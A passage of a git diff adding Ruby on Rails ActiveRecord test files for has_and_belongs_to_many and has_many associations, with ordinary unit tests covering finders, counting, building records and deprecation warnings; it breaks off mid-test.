+ assert_equal [developers(:david), developers(:jamis), developers(:poor_jamis)], projects(:active_record).developers_with_finder_sql, "first interpolation"
+ # interpolate again, for a different project id
+ assert_equal [developers(:david)], projects(:action_controller).developers_with_finder_sql, "second interpolation"
+ end
+
+ def test_find_in_association_with_custom_finder_sql_and_string_id
+ assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id.to_s), "SQL find"
+ end
+
+ def test_find_with_merged_options
+ assert_equal 1, projects(:active_record).limited_developers.size
+ assert_equal 1, projects(:active_record).limited_developers.to_a.size
+ assert_equal 3, projects(:active_record).limited_developers.limit(nil).to_a.size
+ end
+
+ def test_dynamic_find_should_respect_association_order
+ # Developers are ordered 'name DESC, id DESC'
+ high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
+
+ assert_equal high_id_jamis, projects(:active_record).developers.merge(:where => "name = 'Jamis'").first
+ assert_equal high_id_jamis, projects(:active_record).developers.find_by_name('Jamis')
+ end
+
+ def test_find_should_prepend_to_association_order
+ ordered_developers = projects(:active_record).developers.order('projects.id')
+ assert_equal ['projects.id', 'developers.name desc, developers.id desc'], ordered_developers.order_values
+ end
+
+ def test_dynamic_find_all_should_respect_readonly_access
+ projects(:active_record).readonly_developers.each { |d| assert_raise(ActiveRecord::ReadOnlyRecord) { d.save! } if d.valid?}
+ projects(:active_record).readonly_developers.each { |d| d.readonly? }
+ end
+
+ def test_new_with_values_in_collection
+ jamis = DeveloperForProjectWithAfterCreateHook.find_by_name('Jamis')
+ david = DeveloperForProjectWithAfterCreateHook.find_by_name('David')
+ project = ProjectWithAfterCreateHook.new(:name => "Cooking with Bertie")
+ project.developers << jamis
+ project.save!
+ project.reload
+
+ assert project.developers.include?(jamis)
+ assert project.developers.include?(david)
+ end
+
+ def test_find_in_association_with_options
+ developers = projects(:active_record).developers.to_a
+ assert_equal 3, developers.size
+
+ assert_equal developers(:poor_jamis), projects(:active_record).developers.where("salary < 10000").first
+ end
+
+ def test_replace_with_less
+ david = developers(:david)
+ david.projects = [projects(:action_controller)]
+ assert david.save
+ assert_equal 1, david.projects.length
+ end
+
+ def test_replace_with_new
+ david = developers(:david)
+ david.projects = [projects(:action_controller), Project.new("name" => "ActionWebSearch")]
+ david.save
+ assert_equal 2, david.projects.length
+ assert !david.projects.include?(projects(:active_record))
+ end
+
+ def test_replace_on_new_object
+ new_developer = Developer.new("name" => "Matz")
+ new_developer.projects = [projects(:action_controller), Project.new("name" => "ActionWebSearch")]
+ new_developer.save
+ assert_equal 2, new_developer.projects.length
+ end
+
+ def test_consider_type
+ developer = Developer.first
+ special_project = SpecialProject.create("name" => "Special Project")
+
+ other_project = developer.projects.first
+ developer.special_projects << special_project
+ developer.reload
+
+ assert developer.projects.include?(special_project)
+ assert developer.special_projects.include?(special_project)
+ assert !developer.special_projects.include?(other_project)
+ end
+
+ def test_update_attributes_after_push_without_duplicate_join_table_rows
+ developer = Developer.new("name" => "Kano")
+ project = SpecialProject.create("name" => "Special Project")
+ assert developer.save
+ developer.projects << project
+ developer.update_columns("name" => "Bruza")
+ assert_equal 1, Developer.connection.select_value(<<-end_sql).to_i
+ SELECT count(*) FROM developers_projects
+ WHERE project_id = #{project.id}
+ AND developer_id = #{developer.id}
+ end_sql
+ end
+
+ def test_updating_attributes_on_non_rich_associations
+ welcome = categories(:technology).posts.first
+ welcome.title = "Something else"
+ assert welcome.save!
+ end
+
+ def test_habtm_respects_select
+ categories(:technology).select_testing_posts(true).each do |o|
+ assert_respond_to o, :correctness_marker
+ end
+ assert_respond_to categories(:technology).select_testing_posts.first, :correctness_marker
+ end
+
+ def test_habtm_selects_all_columns_by_default
+ assert_equal Project.column_names.sort, developers(:david).projects.first.attributes.keys.sort
+ end
+
+ def test_habtm_respects_select_query_method
+ assert_equal ['id'], developers(:david).projects.select(:id).first.attributes.keys
+ end
+
+ def test_join_table_alias
+ assert_equal(
+ 3,
+ Developer.references(:developers_projects_join).merge(
+ :includes => {:projects => :developers},
+ :where => 'developers_projects_join.joined_on IS NOT NULL'
+ ).to_a.size
+ )
+ end
+
+ def test_join_with_group
+ group = Developer.columns.inject([]) do |g, c|
+ g << "developers.#{c.name}"
+ g << "developers_projects_2.#{c.name}"
+ end
+ Project.columns.each { |c| group << "projects.#{c.name}" }
+
+ assert_equal(
+ 3,
+ Developer.references(:developers_projects_join).merge(
+ :includes => {:projects => :developers}, :where => 'developers_projects_join.joined_on IS NOT NULL',
+ :group => group.join(",")
+ ).to_a.size
+ )
+ end
+
+ def test_find_grouped
+ all_posts_from_category1 = Post.all.merge!(:where => "category_id = 1", :joins => :categories).to_a
+ grouped_posts_of_category1 = Post.all.merge!(:where => "category_id = 1", :group => "author_id", :select => 'count(posts.id) as posts_count', :joins => :categories).to_a
+ assert_equal 5, all_posts_from_category1.size
+ assert_equal 2, grouped_posts_of_category1.size
+ end
+
+ def test_find_scoped_grouped
+ assert_equal 5, categories(:general).posts_grouped_by_title.size
+ assert_equal 1, categories(:technology).posts_grouped_by_title.size
+ end
+
+ def test_find_scoped_grouped_having
+ assert_equal 2, projects(:active_record).well_payed_salary_groups.size
+ assert projects(:active_record).well_payed_salary_groups.all? { |g| g.salary > 10000 }
+ end
+
+ def test_get_ids
+ assert_equal projects(:active_record, :action_controller).map(&:id).sort, developers(:david).project_ids.sort
+ assert_equal [projects(:active_record).id], developers(:jamis).project_ids
+ end
+
+ def test_get_ids_for_loaded_associations
+ developer = developers(:david)
+ developer.projects(true)
+ assert_queries(0) do
+ developer.project_ids
+ developer.project_ids
+ end
+ end
+
+ def test_get_ids_for_unloaded_associations_does_not_load_them
+ developer = developers(:david)
+ assert !developer.projects.loaded?
+ assert_equal projects(:active_record, :action_controller).map(&:id).sort, developer.project_ids.sort
+ assert !developer.projects.loaded?
+ end
+
+ def test_assign_ids
+ developer = Developer.new("name" => "Joe")
+ developer.project_ids = projects(:active_record, :action_controller).map(&:id)
+ developer.save
+ developer.reload
+ assert_equal 2, developer.projects.length
+ assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
+ end
+
+ def test_assign_ids_ignoring_blanks
+ developer = Developer.new("name" => "Joe")
+ developer.project_ids = [projects(:active_record).id, nil, projects(:action_controller).id, '']
+ developer.save
+ developer.reload
+ assert_equal 2, developer.projects.length
+ assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
+ end
+
+ def test_scoped_find_on_through_association_doesnt_return_read_only_records
+ tag = Post.find(1).tags.find_by_name("General")
+
+ assert_nothing_raised do
+ tag.save!
+ end
+ end
+
+ def test_has_many_through_polymorphic_has_manys_works
+ assert_equal [10, 20].to_set, pirates(:redbeard).treasure_estimates.map(&:price).to_set
+ end
+
+ def test_symbols_as_keys
+ developer = DeveloperWithSymbolsForKeys.new(:name => 'David')
+ project = ProjectWithSymbolsForKeys.new(:name => 'Rails Testing')
+ project.developers << developer
+ project.save!
+
+ assert_equal 1, project.developers.size
+ assert_equal 1, developer.projects.size
+ assert_equal developer, project.developers.first
+ assert_equal project, developer.projects.first
+ end
+
+ def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
+ assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
+ SelfMember.new.friends
+ }
+ end
+
+ def test_dynamic_find_should_respect_association_include
+ # SQL error in sort clause if :include is not included
+ # due to Unknown column 'authors.id'
+ assert Category.find(1).posts_with_authors_sorted_by_author_id.find_by_title('Welcome to the weblog')
+ end
+
+ def test_count
+ david = Developer.find(1)
+ assert_equal 2, david.projects.count
+ end
+
+ def test_count_with_counter_sql
+ developer = DeveloperWithCounterSQL.create(:name => 'tekin')
+ developer.project_ids = [projects(:active_record).id]
+ developer.save
+ developer.reload
+ assert_equal 1, developer.projects.count
+ end
+
+ unless current_adapter?(:PostgreSQLAdapter)
+ def test_count_with_finder_sql
+ assert_equal 3, projects(:active_record).developers_with_finder_sql.count
+ assert_equal 3, projects(:active_record).developers_with_multiline_finder_sql.count
+ end
+ end
+
+ def test_association_proxy_transaction_method_starts_transaction_in_association_class
+ Post.expects(:transaction)
+ Category.first.posts.transaction do
+ # nothing
+ end
+ end
+
+ def test_caching_of_columns
+ david = Developer.find(1)
+ # clear cache possibly created by other tests
+ david.projects.reset_column_information
+
+ assert_queries(:any) { david.projects.columns }
+ assert_no_queries { david.projects.columns }
+
+ ## and again to verify that reset_column_information clears the cache correctly
+ david.projects.reset_column_information
+
+ assert_queries(:any) { david.projects.columns }
+ assert_no_queries { david.projects.columns }
+ end
+
+ def test_attributes_are_being_set_when_initialized_from_habm_association_with_where_clause
+ new_developer = projects(:action_controller).developers.where(:name => "Marcelo").build
+ assert_equal new_developer.name, "Marcelo"
+ end
+
+ def test_attributes_are_being_set_when_initialized_from_habm_association_with_multiple_where_clauses
+ new_developer = projects(:action_controller).developers.where(:name => "Marcelo").where(:salary => 90_000).build
+ assert_equal new_developer.name, "Marcelo"
+ assert_equal new_developer.salary, 90_000
+ end
+
+ def test_include_method_in_has_and_belongs_to_many_association_should_return_true_for_instance_added_with_build
+ project = Project.new
+ developer = project.developers.build
+ assert project.developers.include?(developer)
+ end
+
+ test ":insert_sql is deprecated" do
+ klass = Class.new(ActiveRecord::Base)
+ def klass.name; 'Foo'; end
+ assert_deprecated { klass.has_and_belongs_to_many :posts, :insert_sql => 'lol' }
+ end
+
+ test ":delete_sql is deprecated" do
+ klass = Class.new(ActiveRecord::Base)
+ def klass.name; 'Foo'; end
+ assert_deprecated { klass.has_and_belongs_to_many :posts, :delete_sql => 'lol' }
+ end
+
+ test "has and belongs to many associations on new records use null relations" do
+ projects = Developer.new.projects
+ assert_no_queries do
+ assert_equal [], projects
+ assert_equal [], projects.where(title: 'omg')
+ assert_equal [], projects.pluck(:title)
+ assert_equal 0, projects.count
+ end
+ end
+
+end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
new file mode 100644
index 0000000..d855702
--- /dev/null
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -0,0 +1,1800 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/contract'
+require 'models/topic'
+require 'models/reply'
+require 'models/category'
+require 'models/post'
+require 'models/author'
+require 'models/essay'
+require 'models/comment'
+require 'models/person'
+require 'models/reader'
+require 'models/tagging'
+require 'models/tag'
+require 'models/invoice'
+require 'models/line_item'
+require 'models/car'
+require 'models/bulb'
+require 'models/engine'
+require 'models/categorization'
+require 'models/minivan'
+require 'models/speedometer'
+
+class HasManyAssociationsTestForCountWithFinderSql < ActiveRecord::TestCase
+ class Invoice < ActiveRecord::Base
+ ActiveSupport::Deprecation.silence do
+ has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
+ end
+ end
+ def test_should_fail
+ assert_raise(ArgumentError) do
+ Invoice.create.custom_line_items.count(:conditions => {:amount => 0})
+ end
+ end
+end
+
+class HasManyAssociationsTestForCountWithCountSql < ActiveRecord::TestCase
+ class Invoice < ActiveRecord::Base
+ ActiveSupport::Deprecation.silence do
+ has_many :custom_line_items, :class_name => 'LineItem', :counter_sql => "SELECT COUNT(*) line_items.* from line_items"
+ end
+ end
+ def test_should_fail
+ assert_raise(ArgumentError) do
+ Invoice.create.custom_line_items.count(:conditions => {:amount => 0})
+ end
+ end
+end
+
+class HasManyAssociationsTestForCountWithVariousFinderSqls < ActiveRecord::TestCase
+ class Invoice < ActiveRecord::Base
+ ActiveSupport::Deprecation.silence do
+ has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items"
+ has_many :custom_full_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.invoice_id, line_items.amount from line_items"
+ has_many :custom_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT * from line_items"
+ has_many :custom_qualified_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
+ end
+ end
+
+ def test_should_count_distinct_results
+ invoice = Invoice.new
+ invoice.custom_line_items << LineItem.new(:amount => 0)
+ invoice.custom_line_items << LineItem.new(:amount => 0)
+ invoice.save!
+
+ assert_equal 1, invoice.custom_line_items.count
+ end
+
+ def test_should_count_results_with_multiple_fields
+ invoice = Invoice.new
+ invoice.custom_full_line_items << LineItem.new(:amount => 0)
+ invoice.custom_full_line_items << LineItem.new(:amount => 0)
+ invoice.save!
+
+ assert_equal 2, invoice.custom_full_line_items.count
+ end
+
+ def test_should_count_results_with_star
+ invoice = Invoice.new
+ invoice.custom_star_line_items << LineItem.new(:amount => 0)
+ invoice.custom_star_line_items << LineItem.new(:amount => 0)
+ invoice.save!
+
+ assert_equal 2, invoice.custom_star_line_items.count
+ end
+
+ def test_should_count_results_with_qualified_star
+ invoice = Invoice.new
+ invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
+ invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
+ invoice.save!
+
+ assert_equal 2, invoice.custom_qualified_star_line_items.count
+ end
+end
+
+class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
+ fixtures :authors, :posts, :comments
+
+ def test_should_generate_valid_sql
+ author = authors(:david)
+ # this can fail on adapters which require ORDER BY expressions to be included in the SELECT expression
+ # if the reorder clauses are not correctly handled
+ assert author.posts_with_comments_sorted_by_comment_id.where('comments.id > 0').reorder('posts.comments_count DESC', 'posts.taggings_count DESC').last
+ end
+end
+
+
+class HasManyAssociationsTest < ActiveRecord::TestCase
+ fixtures :accounts, :categories, :companies, :developers, :projects,
+ :developers_projects, :topics, :authors, :comments,
+ :people, :posts, :readers, :taggings, :cars, :essays,
+ :categorizations
+
+ def setup
+ Client.destroyed_client_ids.clear
+ end
+
+ def test_create_from_association_should_respect_default_scope
+ car = Car.create(:name => 'honda')
+ assert_equal 'honda', car.name
+
+ bulb = Bulb.create
+ assert_equal 'defaulty', bulb.name
+
+ bulb = car.bulbs.build
+ assert_equal 'defaulty', bulb.name
+
+ bulb = car.bulbs.create
+ assert_equal 'defaulty', bulb.name
+
+ bulb = car.bulbs.create(:name => 'exotic')
+ assert_equal 'exotic', bulb.name
+ end
+
+ def test_create_from_association_with_nil_values_should_work
+ car = Car.create(:name => 'honda')
+
+ bulb = car.bulbs.new(nil)
+ assert_equal 'defaulty', bulb.name
+
+ bulb = car.bulbs.build(nil)
+ assert_equal 'defaulty', bulb.name
+
+ bulb = car.bulbs.create(nil)
+ assert_equal 'defaulty', bulb.name
+ end
+
+ def test_building_the_associated_object_with_implicit_sti_base_class
+ firm = DependentFirm.new
+ company = firm.companies.build
+ assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+ end
+
+ def test_building_the_associated_object_with_explicit_sti_base_class
+ firm = DependentFirm.new
+ company = firm.companies.build(:type => "Company")
+ assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+ end
+
+ def test_building_the_associated_object_with_sti_subclass
+ firm = DependentFirm.new
+ company = firm.companies.build(:type => "Client")
+ assert_kind_of Client, company, "Expected #{company.class} to be a Client"
+ end
+
+ def test_building_the_associated_object_with_an_invalid_type
+ firm = DependentFirm.new
+ assert_raise(ActiveRecord::SubclassNotFound) { firm.companies.build(:type => "Invalid") }
+ end
+
+ def test_building_the_associated_object_with_an_unrelated_type
+ firm = DependentFirm.new
+ assert_raise(ActiveRecord::SubclassNotFound) { firm.companies.build(:type => "Account") }
+ end
+
+ def test_association_keys_bypass_attribute_protection
+ car = Car.create(:name => 'honda')
+
+ bulb = car.bulbs.new
+ assert_equal car.id, bulb.car_id
+
+ bulb = car.bulbs.new :car_id => car.id + 1
+ assert_equal car.id, bulb.car_id
+
+ bulb = car.bulbs.build
+ assert_equal car.id, bulb.car_id
+
+ bulb = car.bulbs.build :car_id => car.id + 1
+ assert_equal car.id, bulb.car_id
+
+ bulb = car.bulbs.create
+ assert_equal car.id, bulb.car_id
+
+ bulb = car.bulbs.create :car_id => car.id + 1
+ assert_equal car.id, bulb.car_id
+ end
+
+ def test_association_protect_foreign_key
+ invoice = Invoice.create
+
+ line_item = invoice.line_items.new
+ assert_equal invoice.id, line_item.invoice_id
+
+ line_item = invoice.line_items.new :invoice_id => invoice.id + 1
+ assert_equal invoice.id, line_item.invoice_id
+
+ line_item = invoice.line_items.build
+ assert_equal invoice.id, line_item.invoice_id
+
+ line_item = invoice.line_items.build :invoice_id => invoice.id + 1
+ assert_equal invoice.id, line_item.invoice_id
+
+ line_item = invoice.line_items.create
+ assert_equal invoice.id, line_item.invoice_id
+
+ line_item = invoice.line_items.create :invoice_id => invoice.id + 1
+ assert_equal invoice.id, line_item.invoice_id
+ end
+
+ # When creating objects on the association, we must not do it within a scope (even though it
+ # would be convenient), because this would cause that scope to be applied to any callbacks etc.
+ def test_build_and_create_should_not_happen_within_scope
+ car = cars(:honda)
+ scoped_count = car.foo_bulbs.where_values.count
+
+ bulb = car.foo_bulbs.build
+ assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+
+ bulb = car.foo_bulbs.create
+ assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+
+ bulb = car.foo_bulbs.create!
+ assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+ end
+
+ def test_no_sql_should_be_fired_if_association_already_loaded
+ Car.create(:name => 'honda')
+ bulbs = Car.first.bulbs
+ bulbs.to_a # to load all instances of bulbs
+
+ assert_no_queries do
+ bulbs.first()
+ bulbs.first({})
+ end
+
+ assert_no_queries do
+ bulbs.last()
+ bulbs.last({})
+ end
+ end
+
+ def test_create_resets_cached_counters
+ person = Person.create!(:first_name => 'tenderlove')
+ post = Post.first
+
+ assert_equal [], person.readers
+ assert_nil person.readers.find_by_post_id(post.id)
+
+ person.readers.create(:post_id => post.id)
+
+ assert_equal 1, person.readers.count
+ assert_equal 1, person.readers.length
+ assert_equal post, person.readers.first.post
+ assert_equal person, person.readers.first.person
+ end
+
+ def force_signal37_to_load_all_clients_of_firm
+ companies(:first_firm).clients_of_firm.each {|f| }
+ end
+
+ # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
+ def test_counting_with_counter_sql
+ assert_equal 2, Firm.all.merge!(:order => "id").first.clients.count
+ end
+
+ def test_counting
+ assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count
+ end
+
+ def test_counting_with_single_hash
+ assert_equal 1, Firm.all.merge!(:order => "id").first.plain_clients.where(:name => "Microsoft").count
+ end
+
+ def test_counting_with_column_name_and_hash
+ assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
+ end
+
+ def test_counting_with_association_limit
+ firm = companies(:first_firm)
+ assert_equal firm.limited_clients.length, firm.limited_clients.size
+ assert_equal firm.limited_clients.length, firm.limited_clients.count
+ end
+
+ def test_finding
+ assert_equal 2, Firm.all.merge!(:order => "id").first.clients.length
+ end
+
+ def test_finding_array_compatibility
+ assert_equal 2, Firm.order(:id).find{|f| f.id > 0}.clients.length
+ end
+
+ def test_find_many_with_merged_options
+ assert_equal 1, companies(:first_firm).limited_clients.size
+ assert_equal 1, companies(:first_firm).limited_clients.to_a.size
+ assert_equal 2, companies(:first_firm).limited_clients.limit(nil).to_a.size
+ end
+
+ def test_find_should_prepend_to_association_order
+ ordered_clients = companies(:first_firm).clients_sorted_desc.order('companies.id')
+ assert_equal ['companies.id', 'id DESC'], ordered_clients.order_values
+ end
+
+ def test_dynamic_find_should_respect_association_order
+ assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
+ assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
+ end
+
+ def test_cant_save_has_many_readonly_association
+ authors(:david).readonly_comments.each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save! } }
+ authors(:david).readonly_comments.each { |c| assert c.readonly? }
+ end
+
+ def test_finding_default_orders
+ assert_equal "Summit", Firm.all.merge!(:order => "id").first.clients.first.name
+ end
+
+ def test_finding_with_different_class_name_and_order
+ assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
+ end
+
+ def test_finding_with_foreign_key
+ assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_of_firm.first.name
+ end
+
+ def test_finding_with_condition
+ assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_like_ms.first.name
+ end
+
+ def test_finding_with_condition_hash
+ assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_like_ms_with_hash_conditions.first.name
+ end
+
+ def test_finding_using_primary_key
+ assert_equal "Summit", Firm.all.merge!(:order => "id").first.clients_using_primary_key.first.name
+ end
+
+ def test_finding_using_sql
+ firm = Firm.order("id").first
+ first_client = firm.clients_using_sql.first
+ assert_not_nil first_client
+ assert_equal "Microsoft", first_client.name
+ assert_equal 1, firm.clients_using_sql.size
+ assert_equal 1, Firm.order("id").first.clients_using_sql.size
+ end
+
+ def test_finding_using_sql_take_into_account_only_uniq_ids
+ firm = Firm.order("id").first
+ client = firm.clients_using_sql.first
+ assert_equal client, firm.clients_using_sql.find(client.id, client.id)
+ assert_equal client, firm.clients_using_sql.find(client.id, client.id.to_s)
+ end
+
+ def test_counting_using_sql
+ assert_equal 1, Firm.order("id").first.clients_using_counter_sql.size
+ assert Firm.order("id").first.clients_using_counter_sql.any?
+ assert_equal 0, Firm.order("id").first.clients_using_zero_counter_sql.size
+ assert !Firm.order("id").first.clients_using_zero_counter_sql.any?
+ end
+
+ def test_counting_non_existant_items_using_sql
+ assert_equal 0, Firm.order("id").first.no_clients_using_counter_sql.size
+ end
+
+ def test_counting_using_finder_sql
+ assert_equal 2, Firm.find(4).clients_using_sql.count
+ end
+
+ def test_belongs_to_sanity
+ c = Client.new
+ assert_nil c.firm
+
+ flunk "belongs_to failed if check" if c.firm
+ end
+
+ def test_find_ids
+ firm = Firm.all.merge!(:order => "id").first
+
+ assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find }
+
+ client = firm.clients.find(2)
+ assert_kind_of Client, client
+
+ client_ary = firm.clients.find([2])
+ assert_kind_of Array, client_ary
+ assert_equal client, client_ary.first
+
+ client_ary = firm.clients.find(2, 3)
+ assert_kind_of Array, client_ary
+ assert_equal 2, client_ary.size
+ assert_equal client, client_ary.first
+
+ assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
+ end
+
+ def test_find_string_ids_when_using_finder_sql
+ firm = Firm.order("id").first
+
+ client = firm.clients_using_finder_sql.find("2")
+ assert_kind_of Client, client
+
+ client_ary = firm.clients_using_finder_sql.find(["2"])
+ assert_kind_of Array, client_ary
+ assert_equal client, client_ary.first
+
+ client_ary = firm.clients_using_finder_sql.find("2", "3")
+ assert_kind_of Array, client_ary
+ assert_equal 2, client_ary.size
+ assert client_ary.include?(client)
+ end
+
+ def test_find_all
+ firm = Firm.all.merge!(:order => "id").first
+ assert_equal 2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
+ assert_equal 1, firm.clients.where("name = 'Summit'").to_a.length
+ end
+
+ def test_find_each
+ firm = companies(:first_firm)
+
+ assert ! firm.clients.loaded?
+
+ assert_queries(3) do
+ firm.clients.find_each(:batch_size => 1) {|c| assert_equal firm.id, c.firm_id }
+ end
+
+ assert ! firm.clients.loaded?
+ end
+
+ def test_find_each_with_conditions
+ firm = companies(:first_firm)
+
+ assert_queries(2) do
+ firm.clients.where(name: 'Microsoft').find_each(batch_size: 1) do |c|
+ assert_equal firm.id, c.firm_id
+ assert_equal "Microsoft", c.name
+ end
+ end
+
+ assert ! firm.clients.loaded?
+ end
+
+ def test_find_in_batches
+ firm = companies(:first_firm)
+
+ assert ! firm.clients.loaded?
+
+ assert_queries(2) do
+ firm.clients.find_in_batches(:batch_size => 2) do |clients|
+ clients.each {|c| assert_equal firm.id, c.firm_id }
+ end
+ end
+
+ assert ! firm.clients.loaded?
+ end
+
+ def test_find_all_sanitized
+ # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
+ firm = Firm.all.merge!(:order => "id").first
+ summit = firm.clients.where("name = 'Summit'").to_a
+ assert_equal summit, firm.clients.where("name = ?", "Summit").to_a
+ assert_equal summit, firm.clients.where("name = :name", { :name => "Summit" }).to_a
+ end
+
+ def test_find_first
+ firm = Firm.all.merge!(:order => "id").first
+ client2 = Client.find(2)
+ assert_equal firm.clients.first, firm.clients.order("id").first
+ assert_equal client2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").order("id").first
+ end
+
+ def test_find_first_sanitized
+ firm = Firm.all.merge!(:order => "id").first
+ client2 = Client.find(2)
+ assert_equal client2, firm.clients.merge!(:where => ["#{QUOTED_TYPE} = ?", 'Client'], :order => "id").first
+ assert_equal client2, firm.clients.merge!(:where => ["#{QUOTED_TYPE} = :type", { :type => 'Client' }], :order => "id").first
+ end
+
+ def test_find_all_with_include_and_conditions
+ assert_nothing_raised do
+ Developer.all.merge!(:joins => :audit_logs, :where => {'audit_logs.message' => nil, :name => 'Smith'}).to_a
+ end
+ end
+
+ def test_find_in_collection
+ assert_equal Client.find(2).name, companies(:first_firm).clients.find(2).name
+ assert_raise(ActiveRecord::RecordNotFound) { companies(:first_firm).clients.find(6) }
+ end
+
+ def test_find_grouped
+ all_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1").to_a
+ grouped_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count').to_a
+ assert_equal 2, all_clients_of_firm1.size
+ assert_equal 1, grouped_clients_of_firm1.size
+ end
+
+ def test_find_scoped_grouped
+ assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.size
+ assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.length
+ assert_equal 2, companies(:first_firm).clients_grouped_by_name.size
+ assert_equal 2, companies(:first_firm).clients_grouped_by_name.length
+ end
+
+ def test_find_scoped_grouped_having
+ assert_equal 1, authors(:david).popular_grouped_posts.length
+ assert_equal 0, authors(:mary).popular_grouped_posts.length
+ end
+
+ def test_default_select
+ assert_equal Comment.column_names.sort, posts(:welcome).comments.first.attributes.keys.sort
+ end
+
+ def test_select_query_method
+ assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys
+ end
+
+ def test_adding
+ force_signal37_to_load_all_clients_of_firm
+ natural = Client.new("name" => "Natural Company")
+ companies(:first_firm).clients_of_firm << natural
+ assert_equal 2, companies(:first_firm).clients_of_firm.size # checking via the collection
+ assert_equal 2, companies(:first_firm).clients_of_firm(true).size # checking using the db
+ assert_equal natural, companies(:first_firm).clients_of_firm.last
+ end
+
+ def test_adding_using_create
+ first_firm = companies(:first_firm)
+ assert_equal 2, first_firm.plain_clients.size
+ first_firm.plain_clients.create(:name => "Natural Company")
+ assert_equal 3, first_firm.plain_clients.length
+ assert_equal 3, first_firm.plain_clients.size
+ end
+
+ def test_create_with_bang_on_has_many_when_parent_is_new_raises
+ assert_raise(ActiveRecord::RecordNotSaved) do
+ firm = Firm.new
+ firm.plain_clients.create! :name=>"Whoever"
+ end
+ end
+
+ def test_regular_create_on_has_many_when_parent_is_new_raises
+ assert_raise(ActiveRecord::RecordNotSaved) do
+ firm = Firm.new
+ firm.plain_clients.create :name=>"Whoever"
+ end
+ end
+
+ def test_create_with_bang_on_has_many_raises_when_record_not_saved
+ assert_raise(ActiveRecord::RecordInvalid) do
+ firm = Firm.all.merge!(:order => "id").first
+ firm.plain_clients.create!
+ end
+ end
+
+ def test_create_with_bang_on_habtm_when_parent_is_new_raises
+ assert_raise(ActiveRecord::RecordNotSaved) do
+ Developer.new("name" => "Aredridel").projects.create!
+ end
+ end
+
+ def test_adding_a_mismatch_class
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }
+ end
+
+ def test_adding_a_collection
+ force_signal37_to_load_all_clients_of_firm
+ companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
+ assert_equal 3, companies(:first_firm).clients_of_firm.size
+ assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_transactions_when_adding_to_persisted
+ good = Client.new(:name => "Good")
+ bad = Client.new(:name => "Bad", :raise_on_save => true)
+
+ begin
+ companies(:first_firm).clients_of_firm.concat(good, bad)
+ rescue Client::RaisedOnSave
+ end
+
+ assert !companies(:first_firm).clients_of_firm(true).include?(good)
+ end
+
+ def test_transactions_when_adding_to_new_record
+ assert_no_queries do
+ firm = Firm.new
+ firm.clients_of_firm.concat(Client.new("name" => "Natural Company"))
+ end
+ end
+
+ def test_new_aliased_to_build
+ company = companies(:first_firm)
+ new_client = assert_no_queries { company.clients_of_firm.new("name" => "Another Client") }
+ assert !company.clients_of_firm.loaded?
+
+ assert_equal "Another Client", new_client.name
+ assert !new_client.persisted?
+ assert_equal new_client, company.clients_of_firm.last
+ end
+
+ def test_build
+ company = companies(:first_firm)
+ new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+ assert !company.clients_of_firm.loaded?
+
+ assert_equal "Another Client", new_client.name
+ assert !new_client.persisted?
+ assert_equal new_client, company.clients_of_firm.last
+ end
+
+ def test_collection_size_after_building
+ company = companies(:first_firm) # company already has one client
+ company.clients_of_firm.build("name" => "Another Client")
+ company.clients_of_firm.build("name" => "Yet Another Client")
+ assert_equal 3, company.clients_of_firm.size
+ end
+
+ def test_collection_not_empty_after_building
+ company = companies(:first_firm)
+ assert_predicate company.contracts, :empty?
+ company.contracts.build
